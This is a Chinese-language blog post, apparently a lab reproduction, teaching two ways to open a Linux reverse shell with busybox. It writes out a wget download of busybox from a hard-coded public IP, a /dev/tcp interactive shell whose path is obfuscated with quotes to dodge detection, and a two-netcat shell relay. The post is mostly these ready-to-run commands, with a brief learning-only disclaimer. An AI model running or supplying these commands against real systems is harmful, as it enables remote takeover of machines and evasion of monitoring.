Linux反弹shell姿势复现(二)--- 利用下载工具执行反弹(busybox)
前言
本博文仅供学习反弹shell的姿势使用,勿作其他用途的参考!
复现环境说明
-
服务端(被监听)(ubuntu使用
cat /proc/version
查看,centos使用cat /etc/system-release
查看):ubuntu 5.4.0-67-generic; centos:CentOS Linux release 7.5.1804 (Core) -
客户端(监听):kali 5.9.0-kali1-amd64
利用下载工具执行反弹(busybox)
什么是busybox?
busybox 是一个集成了多个最常用Linux命令和工具的软件。 在其中包含了一些简单的工具,例如ls、cat和echo,除此之外,还包含了一些更大、更复杂的工具,例grep、find、mount以及telnet等等,。因此使用busybox工具可以执行linux常用的命令。
busybox 完整的配置过程:https://www.huaweicloud.com/zhishi/busybox.html
本文的复现中并不需要安装完整的busybox就可以完成,但是想要安装完整版可以参考链接即可。
方法一:利用busybox执行sh
这种方式主要是利用busybox来执行sh
- 在监听端(kali端)开启监听:
nc -nlvp 1231
(此处假设开启的是1231端口)
- 被监听端(centos端):
- 远程下载busybox:
wget http://139.196.91.13:7001/busybox
使用这种方法下载的busybox没有执行权限,需要自己加上权限 - 给busybox增加执行权限:
chmod +x busybox
- 利用busybox执行sh:
./busybox sh -i >& /dev/t""cp/kali的ip地址/1231 0<&1
此处仍然是利用了busybox来执行sh,其原理可以参考我的上一篇文章:https://blog.csdn.net/weixin_44283446/article/details/115133751
- kali端拿到centOs的反弹过来的shell
方法二:busybox+双nc进行反弹
利用busybox执行命令,并且结合双nc进行反弹,nc反弹也是一种常见的反弹方式,后续会起一个新的blog来总结nc反弹
- 在监听端(kali端)开启两个端口监听:
nc -nlvp 1231
nc -nvlp 1232
(此处假设开启的是1231、1232端口,这里我使用的是Tmux起的,关于Tmux后续我也会更一个blog来记录一下,当作是知识储备)
- 被监听端(centOs端)
- 远程下载busybox:
wget http://139.196.91.13:7001/busybox
- 同方法一,给busybox增加执行权限:
chmod +x busybox
- 执行命令:
./busybox sh
nc kali的ip地址 1231 | /bin/bash | nc kali的ip地址 1232
- kali端拿到centOs的反弹过来的shell
以上是关于利用利用下载的工具busybox执行反弹部分方法的总结,其原理也就是利用busybox来执行linux的命令来躲避bash,该系列主要针对于linux,如果后续能做到Windows,会将Windows下的反弹shell也做一个总结,其包含了Powershell反弹、利用脚本反弹等等。
本文如有不足之处,欢迎指正(* ̄︶ ̄)